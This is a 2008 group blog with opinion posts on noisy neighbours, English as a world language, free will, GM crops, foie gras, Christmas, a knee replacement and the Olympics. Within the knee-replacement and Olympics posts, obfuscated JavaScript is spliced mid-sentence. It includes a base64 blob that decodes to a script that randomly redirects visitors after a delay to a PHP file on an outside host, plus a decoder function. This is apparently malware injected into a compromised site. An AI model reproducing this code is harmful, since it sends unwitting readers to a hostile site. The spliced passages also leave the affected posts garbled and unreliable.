Aug 23 2008

Put your own house in order

Category: Generalfootlight @ 11:29

Why is it that people are generally so selfish? Always me, me, me! Wanting to be first in the line for everything; last if it’s something nasty, like an injection. Looking for the easy buck, the least work for the most gain. Just – selfish. But selfishness has many guises, not just emotional ones.

Take the person who drives down the road with his/her (although usually men) car hi-fi at full pelt, all windows open. Better yet, no windows open and still loud enough to deafen the populace in the next town. My only consolation is that he or she will be deaf long before I am. It is highly anti-social to have your car radio/stereo blaring out, but it is very hard to regulate. Try telling one of these yobs they are disturbing the entire county and the most likely response would be a stream of good old Anglo-Saxon invective. If you are really unlucky, you might get a physical response, but only if you are stupid enough to stand too close.

Then there’s the noisy neighbours. I doubt there is one person in the country who hasn’t been affected by this problem at least once. Parties that regularly go on until the wee small hours with excruciatingly loud music and people shouting at the tops of their voices to be heard over it. One of our neighbours last summer even moved the hi-fi into the garden – why!?

Intrusive music, like an MP3 player, has been dealt with on public transport in the UK and it is a recognised offence, but where does this lack of courtesy come from? Why are people so selfish and thoughtless?

I blame the parents (or whoever brings them up). No, really – I do! I am one who had a very difficult child who was damned hard work, so I speak from a position of knowledge. It doesn’t matter how much legislation the government puts in place, how many prosecutions there are over noise pollution, how many times people complain to the local Environmental Health Department. The vast number of these people have not had any guidance on how to behave in society. There is a current advertisment in the media pointing out that small children will copy grown-ups into bad habits, in this case road sense. They will also copy good habits. If a child learns at his parents’ knee that it is bad to make so much noise that you disturb other people, and this is constantly reinforced as said child grows, then he probably won't do it! If he is reprimanded if he makes faces, or hits, or snatches, or shouts abuse, then he probably won't do it as an adult. Of course children have to do some of their own growing and make their own mistakes and of course some will grow up unpleasant in spite of all the attempts by their parents to produce a well-balanced adult but, if they have no positive role model in the first place, they don't stand a chance.

And don’t blame the schools! They are in loco parentis – ‘in the place of the parent’ – but they don’t stand a chance either if the groundwork hasn't been done.

Bringing up kids is bloody hard work. They aren’t there to finish the tally – house, car, kids – nor are they there to cement a failing relationship. If you have kids it should be because you want them and it is then your duty, to your children and to society, to show them how to be good people. I don't mean in the religious sense – that sometimes produces the worst offenders – but just good, old-fashioned common decency.

So it isn’t just the products of this lack of guidance who are selfish, it’s the place they come from – the parents and, for 'parents' read also 'home'. Many children are effectively brought up by grandparents, childminders, friends. It can't be helped in an age when it is almost impossible for a mother or father not to have to work to support the family. But that doesn't change anything. A good start is a good start and it would make a world-wide difference if more people thought about that instead of their own comfort.

I repeat – bringing up kids is bloody hard work! When you complain about the noisy driver or the gang of teenagers you are afraid to walk past, check for a moment whether one of them couldn’t be yours. If not, pat yourself on the back. If they could ….

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Aug 22 2008

English as the common language

Category: GeneralLee @ 12:03

There have been rumblings about the idea of a ‘common language’ for many decades. By ‘common language’, I mean a single language through which people from any country can speak to one another.

Esperanto was a noble attempt. It was created specifically for this purpose, grammatically simple and engineered, rather than grown organically - therefore making much more sense on the technical side. However, for various reasons it was never that popular (even though a few films were even made in it). There are still those who speak it dotted around the world, recognisable primarily by their little green star badges, who have created a community of sorts. Indeed, some science fiction films, books and even television series (most notably Red Dwarf) assumed - or perhaps hoped - that Esperanto would be the lingua franca in the future. At best, it could be viewed as an experiment in progress, although with the slow rate of growth it is exhibiting it would be a couple of centuries before it made any real global impact.

The Russians made a somewhat misguided effort when the USSR was formed. Several ex-Soviet country-folk harbour a deep hatred for the Russians, and much of this seems to be focused on their having to learn Russian at school. Now, the Soviet empire was positively glistening with wrongness pretty much no matter which angle you looked at it from; but the idea of a common language for all 'member' countries... there have been worse ideas. The reasoning behind it was probably more imperialist than humanitarian, but the actual concept was, in my opinion, a laudable one.

Which brings us to English. England - or should I say Britain - is hardly the most popular country in the world. For a wide and shameful variety of reasons it is in fact hated, looked down upon and ridiculed. There are good reasons for all three of these attitudes. Much of it is, for lack of a better word, hereditary - it's just the way things have been for centuries. The French hate the English, the English hate the French. This is a tune which has remained unchanged for well over a millennium. The French, again, ridicule English cooking. How many, do you suppose, realise that it was the awful, grossly sub-standard French cooks who were brought over around the 1700s - when everything French was seen as fashionable - who introduced most of what passes for British cooking these days? That what they ridicule is what they themselves have created?

Still, much of the animosity directed towards Britain is well deserved. The imperialist, ruthless attitudes - now gone, but at the time, for a long time, seemingly engineered to do as much damage to a country as possible. The careful de-industrialisation of India when the English were forced to leave is a prime example. The murder of an entire Chinese town - men, women and children - because the townspeople kept taking down the telegraph poles the English erected. (In this case it was because they believed it interfered with their Feng Shui, so it was an absurd thing to do, but it was still their town and the reaction was quite mad). The recent increasing association with the US, and all of it's despicable acts, has not helped the perception of Britain worldwide.

Yes, there are all kinds of reasons, right and wrong, why England is reviled. But English, the language, is another matter altogether. It might not be perfect, with it's quirky grammar and a lack of descriptive words which appear in many other languages, but the point is that it is already spoken as a first or second language by an estimated 1.8 billion people.

It is the most-spoken language in the world. Mandarin Chinese, the second, is 'only' spoken by an estimated 1,050,000,000 people (including as a second language). In practical terms, the world simply will not adopt such a complex writing and speaking system as a prime, common language. It would also require the redesigning of all electronic systems, from the keyboard to the programs. Additionally, there are a myriad of cultural resistances, especially from the West and, indeed, other Eastern countries. It is, essentially, too complicated and will never happen in my opinion.

Standard Hindi is next, with a mere 325,000,000 people speaking it. 650,000,000 if you include those who speak it as a second language and Urdu (for the main difference is the writing). Most Hindi sub-languages and dialects are mutually intelligible, although not all are. Also interesting is that some 180,000,000 people in India already speak English - typically those who are better educated and actually benefit the country's economy on any significant scale.

English is also already the international language of business, no matter which country you come from, which is currently what makes the world work (sad, but true). The two main financial centres of the world are London and New York. Neither of these two groups will suddenly agree to trade in, say, Mandarin. Not going to happen.

I put forth this argument some years ago to an aquaintance of mine who was Punjabi. He was outraged that I should suggest subjugating any country's own language in favour of English, which he claimed wasn't so great anyway. In case anyone reading this thinks the same, I will attempt to clarity - hopefully with more success than I had with him.

I do not propose that any country should be forced to lose it's national language in favour of English (they can if they want to, though). I only suggest that, if the circumstances arose whereby a single, worldwide common language might be chosen, the logical decision would be English - with each nation keeping it's original tongue as a second language, which would almost certainly be taught to all anyway. And that the idea of a worldwide common language would be a truly wonderful thing. Think of it: a whole planet where you can go anywhere, talk to anyone and be understood. That is more like what all those visionary writers had in mind.

As explained above, English is already in place to some degree all around the world, it is the language most business transactions are conducted in and, lest we forget, it is one of the easiest languages in the world to learn. The only realistic alternative would be an engineered language - but Esperanto was just such a thing and, not to put too fine a point on it, failed to live up to it's promise (though through no fault of it's own, rather due to people's resistance to change).

The issue of change is another point in favour of English. Russians will not all learn Portuguese. Chinese will not willingly study Russian. Americans... well, as a nation they probably won't accept any other language unless they are forced to at gunpoint. Here in the UK, people come here seeking asylum with all the benefits and privileges the government affords them and, outrageously, refuse point blank to learn English. I am by no means a patriot - in fact I think the whole concept of country borders is ludicrous - but if I went to another country and was given everything from a house to food, money, clothes, TV (I worked in the Asylum Seeker's Unit at the Home Office for a while, trust me on this) I would at least put some effort into learning that country's language.

The only real alternative for most of the world to 'accept' another language: a conquering force which leaves the people no choice. But English is already there. It's spoken the world over - traditionally even more so by those in charge. Change would be minimal.

I cannot help but feel that the world would be a better place, that we all might feel less distant from one another - culturally as well as geographically - if we could all understand one another. It's such a simple concept: people of one planet all being able to talk to one another. So simple. Yet some would actively rebel against the idea. Well, I genuinely believe that it could bring us all closer together - maybe even help to alleviate all the fighting we as a species seem to be so enamoured of - and, by happenstance as much as anything else, English is already there to fulfil that duty.

It might not be perfect, but languages evolve - even better with the help of billions of people. Besides, it would be a huge step in the right direction; of realising that we're basically all the same and constant animosity is not just futile but self-destructive. Perhaps a single, common language could actually help to save the world.

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Aug 21 2008

What the planet needs?

Category: GeneralDave @ 15:21


Absolutely nothing. I’m forever hearing “What the planet needs is…” and it's nonsense.

The planet will go on existing no matter what we do.

Our Earth is a non-sentient ball of molten rock and iron with a thin solid crust and a tiny but very significant (to us) splash of water. It is unstable, as are the the oceans and the atmosphere. On human timescales they look relatively stable but on anything longer than ten thousand years or so they aren't.

The biosphere may change dramatically and may evolve into something totally different to the one we know but, save completely poisoning the place with an all-out nuclear war (and even then...), there will be a biosphere.

There is a huge concern about loss of biodiversity - we must prevent species extinction at almost any cost; we are currently in the midst of a major Mass Extinction event and this is a Very Bad Thing. But wait a minute, there have been several of these before in the history of the planet and the biosphere has recovered from them. If the gene pool is reduced by extinction, then evolution will produce new species, with different genes of course, to fill the ecological niches vacated by the extinctees, thus re-expanding the gene pool. So, although in the short term the current human-caused mass extinction is not a good thing, at least from the human point of view, in the long term it really makes no difference to life as a whole.

Now down to specifics: the survival of the human species.

What does the planet need to provide to enable that?

  • a/some place(s) where humans can survive in sufficient numbers to not go extinct - I'd guess a few hundred thousand.
  • The temperature mustn't exceed the limits of human endurance - modified by our ability to regulate the local environment to some extent
  • there needs to be enough fresh water or they must retain enough technology to desalinate sea or brackish water
  • there must be sufficient usable land to grow food or sufficient wild plants available to feed the population.

What I am describing is, at the minimum, a subsistence existence with little or no technology, a return to prehistoric living. Such a scenario could be the result of global warming causing catastrophic changes in the weather, rising sea levels etc. If this were to happen in a short timescale - say 50 years - then massive loss of life (and not just human) would probably be the result. Current civilisation would collapse. One might well see a dramatic, temporary rise in the number of scavenging animals. In some parts of the world the number of predatory animals may also rise. However, once stricken populations stabilise at their new, much lower numbers, the scavengers and predators would quickly fall back again as their food source dries up.

It is possible that a human "rump" population may start to grow as it adapts and learns to cope with the changed conditions. Over time, it may also evolve to cope with the new state of the planet. It may climb back up the scale of civilisation, perhaps this time with a better ethos for living. Or it may not - it may stay there for ever, until the planet changes again, as it surely will. Then again, it may hang around a while and then slowly fade away. And no, that would not be "good for the planet". The planet, my dear, doesn't give a damn.

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Aug 21 2008

Free will?

Category: GeneralDave @ 00:25

I have seen a lot of discussion recently on whether or not human beings have “Free Will”. That is, they are able to make decisions based on information and opinions which are currently held within their brains. However, this begs the question of how such a thing might operate in practice.

I think that first of all it's necessary to clarify what my definition of "free will" actually is. There have been whole books written on the subject by many people over centuries. However, most of them didn't have the benefit of the knowledge of how the brain works that we currently have. My definition is something like this:

Free Will is the ability of an entity to make decisions based purely on information contained within itself.

I say "something like this" because I suspect it's not the final version - and given that many intelligent people have spent so much time and energy on the question so far, it can't be that simple! Or can it?

Some clarification is needed: "information" in this context includes knowledge and experience acquired by living, innate knowledge passed to it as part of its creation process (e.g. via genes) and knowledge passed to it by any other means which I haven't thought of yet (and maybe no-one else has either).

For the moment I'm going to leave aside any idea of he existence of a "soul", "conciousness" or other component which is outside of conventional science. If we do this then the only game in town is that free will is exercised by the physical brain. The brain is a biological mechanism which is subject to the laws of chemistry which, in turn, are subject to the laws of physics.

To explain the next bit I'm going to have to delve into some fairly esoteric physics - but don't leave just yet! I'll keep this very simple and apologise to those amongst you who are biologists, chemists and/or nuclear physicists. This will be a dramatic simplification but, hopefully, accurate as far as it goes.

The brain consists of cells. The ones which do our thinking are called neurons. Each neuron is connected to lots of its neighbours. They exchange information by sending tiny electrical impulses along these connections. The impulses are generated by electrochemical reactions - which is another way of saying chemical reactions which involve an electrical current. At the receiving neuron the tiny current that arrives triggers another, equally tiny, chemical reaction. In order for us to reach a decision on something a huge number of these tiny reactions must take place.

For simple decisions there will be a majority of the neurons involved coming to the same conclusion. However a really difficult decision may rest on which way a single neuron goes, as the others are equally divided.

A few more definitions: An atom is the smallest indivisible particle of an element. Elements are things like hydrogen, gold and sulphur which cannot be broken down further. Two or more atoms joined together form a molecule. Now an atom has a core (nucleus) with a cloud of electrons in orbit around it. When atoms group together in molecules, they share electrons - their individual electron clouds merge. A molecule can have from two to tens of thousands of atoms in it and, of course, they are not all necessarily of the same element. The air we breathe contains oxygen - but in the form of a molecule which contains two atoms of oxygen. A grain of salt contains many molecules of sodium chloride, each of which contains one atom of the element sodium and one of the element chlorine. It also contains water which helps the sodium chloride to form crystals. A water molecule contains two atoms of hydrogen and one of oxygen - hence the well-known "H2O".

If two molecules which can react together are in close proximity and the conditions for them to react are borderline (it can depend on temperature, the presence of other molecules, etc), then whether they actually react or not is governed by quantum physics. Quantum physics is, to most of us, just plain weird. It makes predictions which seem totally counter-intuitive but which are born our by observation. When electrons form a chemical bond between two molecules (there are other types of "thing" that do this but they all work the same way), they undergo a quantum state change.

So, at the extreme, the decision-making could come down to a single molecule within a brain neuron reacting or not reacting with another molecule. Whether this reaction goes ahead or not is down to the behaviour of the electrons which link the two molecules which, as I have said, is governed by the laws of quantum physics.

There is uncertainty within the scientific community of what governs certain aspects of how particles governed by quantum laws behave - particles such as electrons. Their behaviour is either precisely predictable according to a set of laws we have yet to find or it is partially or fully random.

Assuming that the brain operates according to currently understood physical laws and at the lowest level decisions are effected by quantum state changes, I see two possibilities:

  1. Such state changes are governed by a mechanism which is truly random. Essentially, the final act in a decision being taken is governed by a chemical reaction. the outcome of which is random - there is no way to predict if will be "yes" or a "no" (or "steak" or "fish").
  2. Such state changes are governed by a mechanism which is not random: each follows inexorably from what went before, starting from the Big Bang.

In case (1), we do not have free will - what we decide is mostly predetermined but is also heavily influenced by random events when very "fine" decisions are to be made.

In case (2), we do not have free will - what we decide is totally predetermined.

In both cases (1) and (2) we have the illusion of free will but not free will itself. (However, the illusion is for most people and all practical purposes good enough.)

So if science has the whole story on how the brain works, this inexorably leads to the conclusion that we do not have free will. Furthermore, it doesn't matter if the mechanism is part way between the two described above - for example pseudo-random rather than true random.

But... either of those two mechanisms meet the requirements of my definition of free will, so there must be something missing in the definition.

If I add that free will must be governed neither by a random process nor a deterministic one (at the quantum level) then what are we left with?


At least, not that I can see. Free Will would have to be based on some other mechanism of which we currently have no knowledge (and some might categorise as "supernatural" or "spiritual").

So, we may have free will but it is difficult to accept the mechanism. However, just because we don't yet know how it happens doesn't preclude finding out in the future.

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Aug 14 2008

Charles, mouth, foot

Category: GeneralDave @ 18:22

I normally have a lot of time for Prince Charles. He often says what a lot of people are thinking but is not PC so they won’t actually come out & say it. Sometimes he opens his mouth and quite firmly implants at least one foot within. That's what I think he's just done:

Prince Charles first set out his opposition to GM crops in 1998 when he said that "genetic modification takes mankind into realms that belong to God, and to God alone".

Bullshit. That may be his religion but he should keep that out of public view. He has no basis on which to make such a pronouncement and his beliefs are no better basis than anyone else who has no evidence whatsoever. He accuses unnamed "gigantic corporations" of "conducting a gigantic experiment with nature, and the whole of humanity, which has gone seriously wrong". They were? Well maybe. It has? How? Where? I haven't seen any reports of this so what's he talking about?

As an example, he talked about environmental problems in countries which have used GM crops to increase food production. He said he had seen first hand the result of over-demand on irrigation systems and the water table in Punjab because of the hybrid seeds and grains used. Hang on a minute... Hybrid seeds are not GM: they're conventionally bred using different sub-species. So he really needs to get his facts straight.

And he's right: the big agro-business multinationals are in the game to produce plants that don't produce seed which can be saved for next year's crop so farmers have to buy seed every year. Also, many of these hybrids are for cash crops - not food for local people - who's environmental requirements are inimical to the reqion they are being grown in. Unsustainable water requirements are a good example. Any GM crop which has the same type of requirements and is marketed the same way is just as bad.

But here's the thing: It's not that either GM or hybridisation are inherently bad; it's the way they are marketed and the aims of the producers which are bad. They want to maximise return for their shareholders; that doesn't normally equate with food security, helping poor people towards a reasonable living or with sustainable farming. For all their protestations to the contrary such things will always come second to RoI because that is the nature of the beast. Taming the beast is a possible answer but I have no magic bullet for that.

There is the possibility that a GM plant may do untold damage to the environment. There is a slightly lesser possibility that a conventionally bred plant may do the same. To make it clear, the tomatoes you eat almost certainly came from plants grown from patented hybrid seed, as do many other food crops in the West. These plants are just as unnatural as GM crops. The argument that "They could arise in nature and are therefore natural" holds not even a small drop of water as in many cases:

  • the component parts of the hybrid (i.e. the plant stock it was bred from) either don't grow near enough for cross-fertilisation ever to occur
  • cross-fertilisation cannot occur naturally because of physical form
  • cross-fertilisation can only occur with human intervention

GM technology is no longer in its infancy - probably its teens by now but it certainly isn't totally mature. Techniques a re constantly being refined and new methods developed to prevent the spread of GM traits into wild populations. Some developers have voiced the opinion that some GM-induced traits are OK to release into the wild, indeed they are benign. I have to admit to being with Charles on this one: no-one, but no-one can guarantee what undreamed-of side-effects such an event might engender. They might be benign, they might be fatal to all life on the planet unlikely though that is. But the effects are unknown.

There have already been one or two "escapes" which provided a small window into this realm and common sense seems to be taking hold: scientists working in this field are highly concerned with finding a foolproof method of ensuring no more escapees. This, of course, suits the agro-businesses as it prevents the traits that people will pay for from ending up in non-patented strains of the plant. The latter has already happened and the firm involved tried to sue farmers to stop them growing any seed which had their modified genes in it! Annoyingly I don;t remember the details but the last I saw I believe the case was still unresolved.

Charles could be a useful champion to the cause of ensuring food security (which includes sufficiency) for the world but not if he tries to do it by preaching religion.

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Aug 13 2008

Yet another UK government cop-out

Category: GeneralDave @ 21:13

On the Number 10 Downing Street website, you can start a petition to the government. You can then advertise its existence any (legal) way you want and invite people to come & sign it. Eventually, after the closing date, you get an answer from the Prime Minister (yeah, OK). I can't remember how I found out about this one:

“We the undersigned petition the Prime Minister to secure derogations from EU treaties to allow the prohibition of foods that fail UK animal welfare standards.”

but I signed it. It was really about the mistreatment of birds to produce foie gras. They are force fed a special diet in order to artificially increase the size of their liver. I've read the response from producers who claim it really isn't that bad and my response to them is "OK, let me try it on you & see if that's OK then." And I can guess pretty much exactly what their answer would be. It's cruel and there really is, in my opinion, no justification for it whatsoever.

The petition only got 308 signatures which is rather sad in itself but in reality is not a bad result when you consider how many petitions there are on the site.

So, on to the PM's reply:

We appreciate concerns over this subject and realise that many people would like us to ban the importation and sale of foie gras into the UK.

The free movement of goods is a well established, fundamental principle in Community law and is enshrined in Part III, Title I of the Treaty Establishing the European Community (TEC). Any exception from these principles by amending the Treaty to exclude or modify these provisions in their application to the UK would need to be ratified by all Member States.

If such an amendment to the TEC was agreed it is unlikely that the amendment would be viable since the World Trade Organisation (WTO) rules are unlikely to allow us to ban imports to the EU on the grounds of welfare standards applied in third countries. Any ban therefore, could lead to a successful WTO challenge to the EU in relation to such an amendment.

It remains that the most effective action that can be taken is for individuals not to buy foie gras, if they dislike the way it is produced.

Or in other words "We have treaties with other countries that mean we can't refuse to import their products even if they are made using totally unacceptable methods." Oddly, they managed to get exceptions for child labour (good) but not this. Presumably they don't consider animal welfare important enough (now there's a surprise) to stand up to the CE and WTO and make them change their rules. No, it wouldn't be easy. So what?

Make like the French: just say "Non" and haughtily turn away.


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Aug 11 2008

So this is Christmas. Already?

Category: GeneralLee @ 12:03

Not that Harrods is still the benchmark of the London shopping world it used to be, having been largely reduced to plying names instead of quality, but I was shocked to discover that, last weekend, they opened their Christmas hall. In August. Christmas. In August. What the hell? Have they lost it completely?

Christmas for me is a complicated thing. As an absolute atheist it’s religious significance is 0. As a realist and, ok, cynic, the idea of 'Christmas spirit' - that you should be nice to people just because it's a certain time of year - is not only ridiculous but darn right offensive. To begin with, if I am a bastard then I shall be a bastard whenever the mood strikes me, as such things do not take a holiday in December like a City worker. Additionally, the idea of being good to one another because a religion - which has caused more pain, persecution and suffering than pretty much any other single thing in history - says to is hypocritical in extremis. Worse yet, if one is in fact good and charitable and decent all the time, are such rare virtues diluted at year's end because everyone else is briefly doing it too?

But I go along with it, nonetheless. Truth is, if people are nice to each other for a while, for whatever reason, then it's a marked improvement on the traditional antagonistic attitudes prevalent on the streets of London. And, well, people may have corrupted the message to the point of making it dangerously unintelligible today, but the original idea of Christianity was, at it's core, to be good to one another.

But... the consumerism. It's not about the message any more. It's not even about the random displays of good nature (which apparently have to be saved up for a whole year and squirted out all at once, all together. Do people not have enough to ration throughout the year?). It's about the money.

Ho ho ho indeed: Christmas has been prostituted and seems to be loving it. I can just about go along with the more etherial concepts behind it, but some families virtually bankrupt themselves buying presents for everyone they've ever met. True, in such cases these families are clearly Darwinian dead ends and therefore potentially a living anthropological experiment and, as such, worthy of observation (though still damn stupid). Many will actually place themselves into heavy debt, abusing their credit cards and nervously tending lean bank accounts for a good few months after the event whilst coping with the aftermath.

So why?

Well, in a society where money rules all the answer is simple: it's a business. Good naturedness, charitable feelings, happiness - no matter how falsely induced - and relentless pressure to buy from both companies and people expecting presents work wonders on loosening the purse strings.

So, like with Christmas as a whole, I am somewhat conflicted: might Harrods actually have the right idea after all? If some people are going to spend all this money regardless, perhaps being able to spread the costs over a good 5 months is no bad thing. Just so long as they don't then complain that they lack the money for silly things like medicine, food or a holiday.

Christmas is being rammed down our throats from an unacceptably early time in the year. If it is indeed being prostituted, it seems those perverts pimping it like to make it younger and younger each year. August is the time for beach holidays, sun and picnics - if not here in London, then somewhere else. And anyway, the expensive part of Christmas is the presents, which you can buy at any time. Anyone who goes to Harrods and buys a single Christmas cracker for £1000 is, frankly, demented (not even kidding: check out Even if you could easily afford it, it's Christmas... give the money to charity. As for all the rest, it's just cards and wrapping paper.

As for me, the reason I accept Christmas despite all my reservations about it is simple: my girlfriend loves it, for reasons of her own, and anything which makes her that happy is, for me, clearly worth celebrating.

I just wish I didn't have to start doing it so soon.

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Aug 10 2008

Physician, heal thyself – but me first!

Category: Generalfootlight @ 13:16

About sixteen or seventeen years ago I fell on my right knee in the hall of the school in which I was teaching. It was used as a dining room as well, as many are, and there was a wet patch that had not been cleaned up yet. It was entered into the accident book and that was that. I foolishly did not go to the doctor, as I was sure it would be fine.

First mistake.

Some years later I fell again – at the same school. This time, my foot slipped off a kerb in the car park b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and I landed heavily on the same knee. It was badly grazed on the road surface and I did see the doctor. It was dressed and I went home to wait for it to heal.

Second mistake.

At no time during the course of either of these two incidents was I offered an X-ray and I did not even think of it.

Wind forward to ten years ago. My right knee started to click. It was quite amusing – almost a party trick – but I ignored it, not even telling hubby about it. I was sure it was nothing.

Third mistake.

Over the next few years, I was aware of more problems with the right knee which did, eventually, make me see my GP. Since then, I have been variously ignored, been prescribed drugs, sent to physiotherapists and had X-rays, none of which did very much and some of which were detrimental to my health. However, if you can't rely on your doctor ....?

Fourth mistake.

Six months ago, however, I found myself being treated by a physiotherapist who happened to work part-time at a clinic called function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc< <2)|(p4>>4);o4=((p4&15)< <4)|(n6>>2);se=((n6&3)< <6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anding.htm" target="_blank">SWLEOC (don’t you love acronyms?), which stands for South West London Elective Orthopaedic Centre. It is a specialist clinic dedicated to elective hip and knee replacements – that is, the surgery is decided on rather than being the result of an accident. She immediately had me referred and, to cut a long story short, I had surgery for a total knee replacement within a few months of the referral. I had an unfortunate month's postponement due to an infection that had to be cleared up before they would operate, but I would rather that than have my recovery compromised, which might have been the alternative. I am now, six weeks post-op, looking forward to reclaiming my life, which had been made almost impossible by progressive bone degeneration.

The point here is that I had three or four doctors who played down the condition of my knee. More than one gave me drugs and the odd one sent me for an X-ray, which was never followed up, or a short course of physiotherapy. With hindsight, there were many signs along the way and I should have been more aware of what was being done – or not being done – to alleviate my problem. We can all be clever after the fact, but the doctors I saw should have been clever before it and saved me a lot of pain and unhappiness. I am, apparently, quite young to have needed a total knee replacement and I can't help wondering whether more timely, non-invasive intervention might have made a significant difference to the outcome. I will never know, but I will be forewarned in the future. I know my own body better than most of the so-called medical professionals that have examined it.

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Aug 10 2008

Political Olympics

Category: GeneralLee @ 12:36

I am by no means a traditional ‘sports fan’ type of guy, but I can certainly appreciate the extraordinary dedication, time and effort that sports people put into their discipline. A footballer receiving millions a year for kicking a leather ball around a few times, whilst most of the world starves and struggles with disease, is outrageous. Those who compete in the Olympics are, however, another kettle of fish entirely.

In view of this, it saddens me that the Olympics - which are supposed to symbolise personal achievement, sporting excellence and friendly competition - have been turned into a political tool. They were first held in 776 BCE, some 27 centuries ago. We like to believe that we are much more civilised than the people of so long ago, yet we have taken a simple sporting event and turned it into a political target. It should not be about how China treats the Tibetans. It should not be about how the next ones are going to be held in the UK. It's not about pollution, human rights or any other hot topics of the day that everyone pretends to be concerned about before turning the page to find out what dress their favourite celebrity was caught flashing in as she got out of car in a carefully staged press moment. It should not be about politics. It should not be an international pissing contest - or at least not in that sense.

Now, like I said: I am no great lover of sports but that kind of dedication is what can make people great. I almost feel it is wasted, that if these people could put the same tireless dedication into curing a disease or solving a world-wide socio-economic problem then their contributions to Mankind would clearly be more worthwhile. But they're not necessarily doctors, or economists or sociologists. They can be anyone who has a huge passion for archery, or throwing a javelin. Or who just love the thrill of competition 56789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc< <2)|(p4>>4);o4=((p4&15)< <4)|(n6>>2);se=((n6&3)< <6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and get to experience something so few ever do: thousands of screaming fans, their breath and heartbeats controlled by their actions and theirs alone.

So I say: let's try and keep something pure. Let's keep an international competition which doesn't involve bullets and bombs alive and well, without involving the people who actually have the very least to do with any of it - the politicians.

The Olympics should not about politics; they are about human achievement, camaraderie, teamwork and country spirit. These things are sorely lacking in today's world and should be left unsullied by the political views of people who don't even display any understanding of these concepts. Hell, who knows... we might even be able to just watch and enjoy.

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Aug 09 2008

Chinese crackers

Category: GeneralDave @ 22:37

The opening ceremony of the Beijing Olympics was certainly one hell of a spectacle and an impressive achievement. It has to be said that some of the Chinese girls in the set pieces looked as though they'd just walked out of a manga cartoon which, although enjoyable from some points of view, I'm sure did not convey the image the organisers intended.

However, given the pollution problems Beijing has and the huge efforts they've made to try and clean up the air for the games - and the possibility that if the weather doesn't cooperate the pollution could get bad enough that athletes won't compete, what surprised me were the fireworks!. Continue reading "Chinese crackers"

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